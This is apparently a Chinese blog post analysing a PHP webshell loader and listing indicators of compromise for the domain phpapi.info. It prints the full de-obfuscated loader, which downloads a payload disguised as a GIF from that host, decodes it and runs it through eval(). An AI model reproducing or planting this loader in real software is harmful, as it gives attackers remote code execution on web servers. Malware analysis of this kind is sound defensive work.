阅读:

2,919

但是代码量却非常少:不由得非常好奇它是如何用这么少的代码实现这么丰富的功能的。于是将它的html内容打印一下:发现它的内容是gz压缩后再base64加密的:于是反向执行一下,得到原始内容:error_reporting(0);

session_start();

if (!isset($_SESSION["phpapi"])) {

$c = '';

$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';

$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));

$urlNew= base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");

if (function_exists('fsockopen')) {

$link = parse_url($url);

$query = $link['path'];

$host = strtolower($link['host']);

$fp = fsockopen($host, 80, $errno, $errstr, 10);

if ($fp) {

$out = "GET /{$query} HTTP/1.0\r\n";

$out .= "Host: {$host}\r\n";

$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";

$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);

$inheader = 1;

$contents = "";

while (!feof($fp)) {

$line = fgets($fp, 4096);

if ($inheader == 0) {

$contents .= $line;

}

if ($inheader && ($line == "\n" || $line == "\r\n")) {

$inheader = 0;

}

}

fclose($fp);

$c = $contents;

}

}

if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_TIMEOUT, 15);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

curl_setopt($ch, CURLOPT_USERAGENT, $useragent);

$c = curl_exec($ch);

curl_close($ch);

}

if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) {

$temps = @file($url);

if (!empty($temps))

$c = @implode('', $temps);

if (!strpos($c, "delDirAndFile"))

$c = @file_get_contents($url);

}

if (strpos($c, $urlNew) !== false) {

$c = str_replace($urlNew, "", $c);

$_SESSION["phpapi"] = gzinflate(base64_decode($c));

}

}

if (isset($_SESSION["phpapi"])) {

eval($_SESSION["phpapi"]);

}

其中请求的url为:http://phpapi.info/404.gif

用于替换的urlNew为:/0OliakTHisP8hp0adph9papi5+r6eci0a8yijmg9oxcp9ckvhf/

404.gif看起来是一个图标,但其实是代码。

将内容读出来之后,base64解码在用gz解压缩:

拿到原始的webshell文件(文件大概2960行,所以不贴全部的代码,只看一下头几行以及行数。需要的可以自己用上面的还原代码将gif内容还原为PHP文件):该php的内容需要读取之后,放在eval()函数里执行,类似于:<?php

eval(file_get_contents("/home/wwwroot/default/tmp.php"));

?>

整体的流程为:

所以,域名:phpapi.info为恶意域名,上面的gif文件(http://phpapi.info/404.gif)不是普通的图片而是webshell代码。IOC:domain:phpapi.info

url:/404.gif

md5:f1c4842de714e7480e69f41540c3626b

php包含大马执行,对于某个PHP大马的分析相关推荐

  1. 达梦 DM 执行SQL报字符串截断如何分析定位/超长文本截取

    达梦 DM 执行SQL报字符串截断如何分析定位/超长文本截取 DM数据库报字符串截断 1 .执行INSERT时报错 一般此类问题是由于目标表存在一个(或多个)字段长度不够,导致插入失败.重点关注CHA ...

  2. Linux进程调用execve,实验:从整理上理解进程创建、可执行文件的加载和进程执行进程切换,重点理解分析fork、execve和...

    学号375 转载请注明出处 https://github.com/mengning/linuxkernel/ 阅读理解task_struct数据结构 task_struct实际上就是进程PCB以下是p ...

  3. java商城项目中多线程执行_java多线程中执行多个程序的实例分析

    我们知道多线程因为同时处理子线程的能力,对于程序运行来说,能够达到很高的效率.不过很多人对于多线程的执行方法还没有尝试过,本篇我们将为大家介绍创建线程的方法,在这个基础上,对程序执行多条命令的方法进行 ...

  4. mysql update语句卡死_oracle执行update语句时卡住问题分析及解决办法

    问题 开发的时候debug到一条update的sql语句时程序就不动了,然后我就在plsql上试了一下,发现plsql一直在显示正在执行,等了好久也不出结果.但是奇怪的是执行其他的select语句却是 ...

  5. 人民银行招聘考试计算机类真题,中国人民银行招聘计算机类笔试试题大全(多套试题包含答案,考友经验分享试题分析,最全整理资料).doc...

    中国人民银行招聘计算机类笔试试题大全(多套试题包含答案,考友经验分享试题分析,最新最全整理资料) 简介:文档包含了多套中国人民银行计算机类笔试模拟题含答案,中国人民银行计算机类考试笔,2006年到20 ...

  6. python判断一个列表是否包含另一个列表_Python判断一个list中是否包含另一个list全部元素的方法分析...

    Python判断一个list中是否包含另一个list全部元素的方法分析 本文实例讲述了Python判断一个list中是否包含另一个list全部元素的方法.分享给大家供大家参考,具体如下: 你可以用fo ...

  7. python基于pingouin包进行统计分析:使用mediation_analysis函数构建包含协变量的mediation analysis(中介分析)模型、covar参数指定协变量

    python基于pingouin包进行统计分析:使用mediation_analysis函数构建包含协变量的mediation analysis(中介分析)模型.covar参数指定协变量.以dataf ...

  8. c++生成随机数详解(包含可执行代码)

    1.rand c++中生成随机数最简单的方式就是rand函数.而且rand函数位于stdlib.h头文件中,不需要额外的再引入. int rand(void) __swift_unavailable( ...

  9. 理解进程创建、可执行文件的加载和进程执行进程切换,重点理解分析fork、execve和进程切换

    学号:384 原创作品转载请注明出处 + https://github.com/mengning/linuxkernel/ 实验目标 1.分析fork函数对应的内核处理过程do_fork,理解创建一个 ...

  10. 理解图形化执行计划 -- 第3部分:分析执行计划

    英文原文: http://www.sqlservercentral.com/articles/Execution+Plans/105810/ 对于SQL Server数据库管理员和开发来说,能够理解和 ...

最新文章

  1. 47分钟,BERT训练又破全新纪录!英伟达512个GPU训练83亿参数GPT-2 8B
  2. Jedis操作Redis数据库
  3. 电脑运行慢的原因汇总
  4. 谷歌浏览器跨域报错解决办法
  5. 适合打游戏的计算机内存品牌型号,玩游戏电脑内存要多大合适?不同内存容量玩游戏区别实测...
  6. 2月国内操作系统市场份额:Windows XP持续下降
  7. easyui一行显示多行_easyui datagrid以及oracle中的多行合并一行
  8. 对当前目录及子目录下的所有源码文件及Makefile打包
  9. android java 调试快捷键_Android Studio 代码页跳界面 /java和XML快速切换技巧
  10. JavaScript同步和异步
  11. Tensorflow训练和预测中的BN层的坑(转载)
  12. 无法编辑PDF文档?看完这篇文章即刻解决~
  13. 数二计算机考研大纲2016,2016数二考研大纲.doc
  14. Python如何实现行人识别-人体识别
  15. bzoj2429: [HAOI2006]聪明的猴子(最小生成树)
  16. yii mysql gii_Yii 框架使用Gii生成代码操作示例
  17. HHDBCS便捷功能简介
  18. 听“元戎”首席架构师讲述华为云Serverless进化的故事
  19. LNMP 一键安装包配置 https
  20. STM32H7使用外部flash运行程序

热门文章

  1. Linux程序设计-1-Linux基础
  2. linux程序编译过程
  3. mac系统的UTF-8 BOM编码
  4. Centos7安装达梦(DM7)数据库
  5. 计算机音乐专业学什么软件有哪些内容,电脑音乐入门装备(软件篇)
  6. html中语音聊天怎么实现,微信小程序语音聊天功能怎么实现?
  7. 关于Mac安装破解软件,未知来源消失的问题
  8. Mac终端命令失效( command not found)/
  9. java环境变量配置和android sdk环境变量配置
  10. vmware 14 密钥